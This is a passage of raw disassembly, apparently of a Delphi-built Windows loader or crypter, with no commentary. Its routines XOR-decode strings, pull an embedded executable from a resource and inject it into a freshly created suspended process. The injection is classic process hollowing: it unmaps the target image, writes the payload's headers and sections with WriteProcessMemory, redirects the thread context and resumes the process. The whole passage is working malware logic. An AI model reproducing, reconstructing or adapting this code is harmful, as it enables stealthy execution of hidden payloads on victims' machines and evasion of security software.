					; DATA XREF: sub_402E38+15Co
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FB4	proc near		; CODE XREF: sub_403038+2Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403029
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	esi, eax
		test	esi, esi
		jle	short loc_403008
		mov	ebx, 1


loc_402FEE:				; CODE XREF: sub_402FB4+52j
		lea	eax, [ebp+var_4]
		call	sub_4020AC
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx+ebx-1]
		xor	edx, edi
		mov	[eax+ebx-1], dl
		inc	ebx
		dec	esi
		jnz	short loc_402FEE


loc_403008:				; CODE XREF: sub_402FB4+33j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_401E18
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403030


loc_403020:				; CODE XREF: sub_402FB4+7Aj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403029:				; DATA XREF: sub_402FB4+1Co
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403020
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402FB4+74j
					; DATA XREF: sub_402FB4+67o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_402FB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403038	proc near		; CODE XREF: CODE:004043D7p

Result		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4030DE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_4]
		mov	edx, offset aA7qmt ; "a7qmt"
		mov	eax, 19h
		call	sub_402FB4
		lea	eax, [ebp+Result]
		xor	ecx, ecx
		mov	edx, 100h
		call	sub_4018A8
		push	0		; hTemplateFile
		push	2		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	2		; dwShareMode
		push	40000000h	; dwDesiredAccess
		mov	eax, [ebp+var_4]
		call	sub_402058
		mov	ebx, eax
		push	ebx		; lpFileName
		call	CreateFileA_0
		push	eax		; hObject
		call	CloseHandle_0
		lea	eax, [ebp+Result]
		push	eax		; lpResult
		push	0		; lpDirectory
		push	ebx		; lpFile
		call	FindExecutableA
		push	ebx		; lpFileName
		call	DeleteFileA
		mov	eax, esi
		lea	edx, [ebp+Result]
		mov	ecx, 100h
		call	sub_401EEC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4030E5


loc_4030D5:				; CODE XREF: sub_403038+ABj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_4030DE:				; DATA XREF: sub_403038+15o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_4030D5
; ---------------------------------------------------------------------------


loc_4030E5:				; CODE XREF: sub_403038+A5j
					; DATA XREF: sub_403038+98o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403038	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 5
aA7qmt		db 'a7qmt',0            ; DATA XREF: sub_403038+23o
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4030FC	proc near		; CODE XREF: CODE:00404211p
					; CODE:00404226p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_401A74
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_401840
		mov	eax, esi
		mov	edx, esp
		call	sub_401EE0
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_4030FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403134	proc near		; CODE XREF: sub_403168+B2p
					; sub_403168+F9p
		push	ecx
		mov	edx, esp
		call	sub_401A80
		pop	edx
		retn
sub_403134	endp

; ---------------------------------------------------------------------------
		align 10h
off_403140	dd offset dword_403144	; DATA XREF: sub_403168+7Br
					; sub_403168+12Cr ...
dword_403144	dd 322E0211h, 4		; DATA XREF: CODE:off_403140o
		dd offset off_401000
		dd 48h
		dd offset off_401000
		dd 746E750Ch, 636E5F46h, 6E6F6974h, 408D73h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403168	proc near		; CODE XREF: CODE:004040F2p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403334
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		call	sub_401E5C


loc_40319D:				; CODE XREF: sub_403168+60j
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_40334C
		call	sub_40213C
		mov	ecx, eax
		lea	eax, [ebp+var_10]
		mov	edx, 1
		call	sub_4020F4
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_40334C
		call	sub_40213C
		test	eax, eax
		jg	short loc_40319D
		xor	edi, edi
		lea	eax, [ebp+var_C]
		mov	edx, 4
		call	sub_402B84
		push	1
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, off_403140
		call	sub_4027E8
		add	esp, 4
		jmp	loc_4032C7
; ---------------------------------------------------------------------------


loc_4031F6:				; CODE XREF: sub_403168+16Ej
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403358
		call	sub_40213C
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_10]
		call	sub_4020B4
		mov	eax, [ebp+var_14]
		call	sub_403134
		mov	ebx, eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403358
		call	sub_40213C
		mov	ecx, eax
		lea	eax, [ebp+var_10]
		mov	edx, 1
		call	sub_4020F4
		lea	eax, [ebp+var_18]
		push	eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403364
		call	sub_40213C
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_10]
		call	sub_4020B4
		mov	eax, [ebp+var_18]
		call	sub_403134
		mov	esi, eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403364
		call	sub_40213C
		mov	ecx, eax
		lea	eax, [ebp+var_10]
		mov	edx, 1
		call	sub_4020F4
		cmp	edi, ebx
		jg	short loc_4032A2
		lea	edi, [ebx+1]
		push	edi
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, off_403140
		call	sub_4027E8
		add	esp, 4


loc_4032A2:				; CODE XREF: sub_403168+11Ej
		mov	eax, [ebp+var_C]
		lea	eax, [eax+ebx*4]
		push	eax
		mov	ecx, esi
		mov	edx, 1
		mov	eax, [ebp+var_4]
		call	sub_4020B4
		lea	eax, [ebp+var_4]
		mov	ecx, esi
		mov	edx, 1
		call	sub_4020F4


loc_4032C7:				; CODE XREF: sub_403168+89j
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403364
		call	sub_40213C
		test	eax, eax
		jg	loc_4031F6
		mov	eax, [ebp+var_8]
		call	sub_401DC4
		mov	ebx, edi
		dec	ebx
		test	ebx, ebx
		jl	short loc_403303
		inc	ebx
		xor	esi, esi


loc_4032EE:				; CODE XREF: sub_403168+199j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	edx, [edx+esi*4]
		call	sub_401F0C
		mov	eax, [ebp+var_8]
		inc	esi
		dec	ebx
		jnz	short loc_4032EE


loc_403303:				; CODE XREF: sub_403168+181j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40333B


loc_403310:				; CODE XREF: sub_403168+1D1j
		lea	eax, [ebp+var_18]
		mov	edx, 3
		call	sub_401DE8
		lea	eax, [ebp+var_C]
		mov	edx, off_403140
		call	sub_4027F4
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403334:				; DATA XREF: sub_403168+1Fo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403310
; ---------------------------------------------------------------------------


loc_40333B:				; CODE XREF: sub_403168+1CBj
					; DATA XREF: sub_403168+1A3o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403168	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40334C	dd 1, 0FFFFFFFFh, 1	; DATA XREF: sub_403168+38o
					; sub_403168+54o
dword_403358	dd 3Ah,	0FFFFFFFFh, 1	; DATA XREF: sub_403168+95o
					; sub_403168+BCo
dword_403364	dd 3Bh			; DATA XREF: sub_403168+DCo
					; sub_403168+103o ...

; =============== S U B	R O U T	I N E =======================================



sub_403368	proc near		; CODE XREF: CODE:00404000p
					; CODE:00404059p ...
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah		; lpType
		push	edx		; lpName
		mov	eax, ds:hModule
		push	eax		; hModule
		call	FindResourceA
		mov	ebx, eax
		push	ebx		; hResInfo
		mov	eax, ds:hModule
		push	eax		; hModule
		call	SizeofResource
		mov	[esi], eax
		push	ebx		; hResInfo
		mov	eax, ds:hModule
		push	eax		; hModule
		call	LoadResource
		mov	ebx, eax
		push	ebx		; hResData
		call	LockResource
		mov	esi, eax
		test	esi, esi
		jz	short loc_4033AA
		push	ebx		; hResData
		call	FreeResource


loc_4033AA:				; CODE XREF: sub_403368+3Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_403368	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033B0	proc near		; CODE XREF: CODE:004041F7p
					; CODE:0040442Ap ...

Buffer		= byte ptr -109h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF4h
		push	ebx
		push	esi
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403438
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_401DC4
		lea	eax, [ebp+Buffer]
		xor	ecx, ecx
		mov	edx, 104h
		call	sub_4018A8
		mov	ebx, 104h
		push	ebx		; nSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		mov	eax, [ebp+var_4]
		call	sub_402058
		push	eax		; lpName
		call	GetEnvironmentVariableA
		mov	ebx, eax
		test	ebx, ebx
		jbe	short loc_403422
		mov	eax, esi
		lea	edx, [ebp+Buffer]
		mov	ecx, 105h
		call	sub_401EEC


loc_403422:				; CODE XREF: sub_4033B0+5Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40343F


loc_40342F:				; CODE XREF: sub_4033B0+8Dj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403438:				; DATA XREF: sub_4033B0+1Bo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_40342F
; ---------------------------------------------------------------------------


loc_40343F:				; CODE XREF: sub_4033B0+87j
					; DATA XREF: sub_4033B0+7Ao
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4033B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403448	proc near		; DATA XREF: CODE:00403F98o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40346D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064C4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403474


loc_40346C:				; CODE XREF: sub_403448+2Aj
		retn
; ---------------------------------------------------------------------------


loc_40346D:				; DATA XREF: sub_403448+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_40346C
; ---------------------------------------------------------------------------


loc_403474:				; CODE XREF: sub_403448:loc_40346Cj
					; DATA XREF: sub_403448+1Fo
		pop	ebp
		retn
sub_403448	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403478	proc near		; DATA XREF: CODE:00403F94o
		sub	ds:dword_4064C4, 1
		retn
sub_403478	endp


; =============== S U B	R O U T	I N E =======================================



sub_403480	proc near		; CODE XREF: sub_403640+16Ep
		lea	edx, [eax+18h]
		movzx	eax, word ptr [eax+14h]
		add	edx, eax
		mov	eax, edx
		retn
sub_403480	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40348C	proc near		; CODE XREF: sub_403640+135p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4064CC, 0
		jnz	short loc_4034B5
		push	offset ProcName	; "VirtualAllocEx"
		push	offset ModuleName ; "kernel32.dll"
		call	GetModuleHandleA_0
		push	eax		; hModule
		call	GetProcAddress
		mov	ds:dword_4064CC, eax


loc_4034B5:				; CODE XREF: sub_40348C+Dj
		cmp	ds:dword_4064CC, 0
		jnz	short loc_4034C7
		push	78h		; dwErrCode
		call	SetLastError
		jmp	short loc_4034E3
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_40348C+30j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4064CC
		mov	ebx, eax


loc_4034E3:				; CODE XREF: sub_40348C+39j
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	14h
sub_40348C	endp

; ---------------------------------------------------------------------------
		align 4
; char ProcName[]
ProcName	db 'VirtualAllocEx',0   ; DATA XREF: sub_40348C+Fo
		align 4
; char ModuleName[]
ModuleName	db 'kernel32.dll',0     ; DATA XREF: sub_40348C+14o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40350C	proc near		; CODE XREF: sub_403640+1CFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4064D0, 0
		jnz	short loc_403535
		push	offset aVirtualprotect ; "VirtualProtectEx"
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	GetModuleHandleA_0
		push	eax		; hModule
		call	GetProcAddress
		mov	ds:dword_4064D0, eax


loc_403535:				; CODE XREF: sub_40350C+Dj
		cmp	ds:dword_4064D0, 0
		jnz	short loc_403547
		push	78h		; dwErrCode
		call	SetLastError
		jmp	short loc_403563
; ---------------------------------------------------------------------------


loc_403547:				; CODE XREF: sub_40350C+30j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4064D0
		mov	ebx, eax


loc_403563:				; CODE XREF: sub_40350C+39j
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	14h
sub_40350C	endp

; ---------------------------------------------------------------------------
		align 4
; char aVirtualprotect[]
aVirtualprotect	db 'VirtualProtectEx',0 ; DATA XREF: sub_40350C+Fo
		align 10h
; char aKernel32_dll_0[]
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40350C+14o
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403590	proc near		; CODE XREF: sub_403640+F9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4064D4, 0
		jnz	short loc_4035B6
		push	offset aZwunmapviewofs ; "ZwUnmapViewOfSection"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	GetModuleHandleA_0
		push	eax		; hModule
		call	GetProcAddress
		mov	ds:dword_4064D4, eax


loc_4035B6:				; CODE XREF: sub_403590+Aj
		cmp	ds:dword_4064D4, 0
		jnz	short loc_4035C6
		mov	eax, 0C0000002h
		jmp	short loc_4035D4
; ---------------------------------------------------------------------------


loc_4035C6:				; CODE XREF: sub_403590+2Dj
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4064D4


loc_4035D4:				; CODE XREF: sub_403590+34j
		pop	ebp
		retn	8
sub_403590	endp

; ---------------------------------------------------------------------------
; char aZwunmapviewofs[]
aZwunmapviewofs	db 'ZwUnmapViewOfSection',0 ; DATA XREF: sub_403590+Co
		align 10h
; char aNtdll_dll[]
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_403590+11o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035FC	proc near		; DATA XREF: CODE:00403FA0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403621
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064C8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403628


loc_403620:				; CODE XREF: sub_4035FC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403621:				; DATA XREF: sub_4035FC+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403620
; ---------------------------------------------------------------------------


loc_403628:				; CODE XREF: sub_4035FC:loc_403620j
					; DATA XREF: sub_4035FC+1Fo
		pop	ebp
		retn
sub_4035FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40362C	proc near		; DATA XREF: CODE:00403F9Co
		sub	ds:dword_4064C8, 1
		retn
sub_40362C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403634	proc near		; CODE XREF: sub_403640+1B8p
		shr	eax, 1Dh
		mov	eax, ds:dword_4050A4[eax*4]
		retn
sub_403634	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_403640(CONTEXT Context)

sub_403640	proc near		; CODE XREF: CODE:0040439Fp
					; CODE:004043E2p

Context		= CONTEXT ptr -148h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB8h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp+Context.ExtendedRegisters+70h], ecx
		mov	dword ptr [ebp+Context.ExtendedRegisters+74h], edx
		mov	dword ptr [ebp+Context.ExtendedRegisters+78h], eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+74h]
		call	sub_402048
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+70h]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_4038B3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+Context.ExtendedRegisters+6Fh], 0
		lea	eax, [ebp+Context.ExtendedRegisters+44h]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_4018A8
		lea	eax, [ebp+Context.ExtendedRegisters]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_4018A8
		mov	dword ptr [ebp+Context.ExtendedRegisters], 44h
		xor	eax, eax
		mov	al, [ebp+Context.ExtendedRegisters+84h]
		mov	word ptr [ebp+Context.ExtendedRegisters+30h], ax
		lea	eax, [ebp+Context.ExtendedRegisters+44h]
		push	eax		; lpProcessInformation
		lea	eax, [ebp+Context.ExtendedRegisters]
		push	eax		; lpStartupInfo
		push	0		; lpCurrentDirectory
		push	0		; lpEnvironment
		push	4		; dwCreationFlags
		push	0		; bInheritHandles
		push	0		; lpThreadAttributes
		push	0		; lpProcessAttributes
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+70h]
		call	sub_402058
		push	eax		; lpCommandLine
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+74h]
		call	sub_402058
		push	eax		; lpApplicationName
		call	CreateProcessA
		test	eax, eax
		jz	loc_403898
		mov	[ebp+Context.ExtendedRegisters+6Eh], 0
		xor	eax, eax
		push	ebp
		push	offset loc_403891
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+Context.ContextFlags], 10002h
		lea	eax, [ebp+Context]
		push	eax		; lpContext
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+48h]
		push	eax		; hThread
		call	GetThreadContext
		test	eax, eax
		jz	loc_403863
		lea	eax, [ebp+Context.ExtendedRegisters+64h]
		push	eax		; lpNumberOfBytesRead
		push	4		; nSize
		lea	eax, [ebp+Context.ExtendedRegisters+68h]
		push	eax		; lpBuffer
		mov	eax, [ebp+Context._Ebx]
		add	eax, 8
		push	eax		; lpBaseAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	ReadProcessMemory
		test	eax, eax
		jz	loc_403863
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+68h]
		push	eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax
		call	sub_403590
		test	eax, eax
		jl	loc_403863
		cmp	dword ptr [ebp+Context.ExtendedRegisters+78h], 0
		jz	loc_403863
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	eax, [eax+3Ch]
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	dword ptr [ebp+Context.ExtendedRegisters+60h], eax
		push	4
		push	3000h
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+60h]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+60h]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax
		call	sub_40348C
		mov	dword ptr [ebp+Context.ExtendedRegisters+68h], eax
		cmp	dword ptr [ebp+Context.ExtendedRegisters+68h], 0
		jz	loc_403863
		lea	eax, [ebp+Context.ExtendedRegisters+5Ch]
		push	eax		; lpNumberOfBytesWritten
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+60h]
		mov	eax, [eax+54h]
		push	eax		; nSize
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		push	eax		; lpBuffer
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+68h]
		push	eax		; lpBaseAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	WriteProcessMemory
		test	eax, eax
		jz	loc_403863
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+60h]
		call	sub_403480
		mov	esi, eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+60h]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	short loc_40381A
		inc	eax
		mov	dword ptr [ebp+Context.ExtendedRegisters+54h], eax
		xor	ebx, ebx


loc_4037C7:				; CODE XREF: sub_403640+1D8j
		lea	eax, [ebp+Context.ExtendedRegisters+5Ch]
		push	eax		; lpNumberOfBytesWritten
		lea	edi, [ebx+ebx*4]
		mov	eax, [esi+edi*8+10h]
		push	eax		; nSize
		mov	eax, [esi+edi*8+14h]
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		push	eax		; lpBuffer
		mov	eax, [esi+edi*8+0Ch]
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+68h]
		push	eax		; lpBaseAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	WriteProcessMemory
		test	eax, eax
		jz	short loc_403814
		lea	eax, [ebp+Context.ExtendedRegisters+58h]
		push	eax
		mov	eax, [esi+edi*8+24h]
		call	sub_403634
		push	eax
		mov	eax, [esi+edi*8+8]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+68h]
		push	eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax
		call	sub_40350C


loc_403814:				; CODE XREF: sub_403640+1AEj
		inc	ebx
		dec	dword ptr [ebp+Context.ExtendedRegisters+54h]
		jnz	short loc_4037C7


loc_40381A:				; CODE XREF: sub_403640+17Fj
		lea	eax, [ebp+Context.ExtendedRegisters+5Ch]
		push	eax		; lpNumberOfBytesWritten
		push	4		; nSize
		lea	eax, [ebp+Context.ExtendedRegisters+68h]
		push	eax		; lpBuffer
		mov	eax, [ebp+Context._Ebx]
		add	eax, 8
		push	eax		; lpBaseAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	WriteProcessMemory
		test	eax, eax
		jz	short loc_403863
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+60h]
		mov	eax, [eax+28h]
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+68h]
		mov	[ebp+Context._Eax], eax
		lea	eax, [ebp+Context]
		push	eax		; lpContext
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+48h]
		push	eax		; hThread
		call	SetThreadContext
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+Context.ExtendedRegisters+6Eh], al


loc_403863:				; CODE XREF: sub_403640+C6j
					; sub_403640+EBj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403898


loc_403870:				; CODE XREF: sub_403640+256j
		cmp	[ebp+Context.ExtendedRegisters+6Eh], 0
		jnz	short loc_403883
		push	0		; uExitCode
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	TerminateProcess
		jmp	short loc_403890
; ---------------------------------------------------------------------------


loc_403883:				; CODE XREF: sub_403640+234j
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+48h]
		push	eax		; hThread
		call	ResumeThread
		mov	[ebp+Context.ExtendedRegisters+6Fh], 1


loc_403890:				; CODE XREF: sub_403640+241j
		retn
; ---------------------------------------------------------------------------


loc_403891:				; DATA XREF: sub_403640+9Fo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403870
; ---------------------------------------------------------------------------


loc_403898:				; CODE XREF: sub_403640+92j
					; sub_403640:loc_403890j
					; DATA XREF: ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4038BA


loc_4038A5:				; CODE XREF: sub_403640+278j
		lea	eax, [ebp+Context.ExtendedRegisters+70h]
		mov	edx, 2
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_4038B3:				; DATA XREF: sub_403640+28o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_4038A5
; ---------------------------------------------------------------------------


loc_4038BA:				; CODE XREF: sub_403640+272j
					; DATA XREF: sub_403640+260o
		mov	al, [ebp+Context.ExtendedRegisters+6Fh]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_403640	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038C8	proc near		; DATA XREF: CODE:00403FA8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4038ED
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4038F4


loc_4038EC:				; CODE XREF: sub_4038C8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4038ED:				; DATA XREF: sub_4038C8+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_4038EC
; ---------------------------------------------------------------------------


loc_4038F4:				; CODE XREF: sub_4038C8:loc_4038ECj
					; DATA XREF: sub_4038C8+1Fo
		pop	ebp
		retn
sub_4038C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4038F8	proc near		; DATA XREF: CODE:00403FA4o
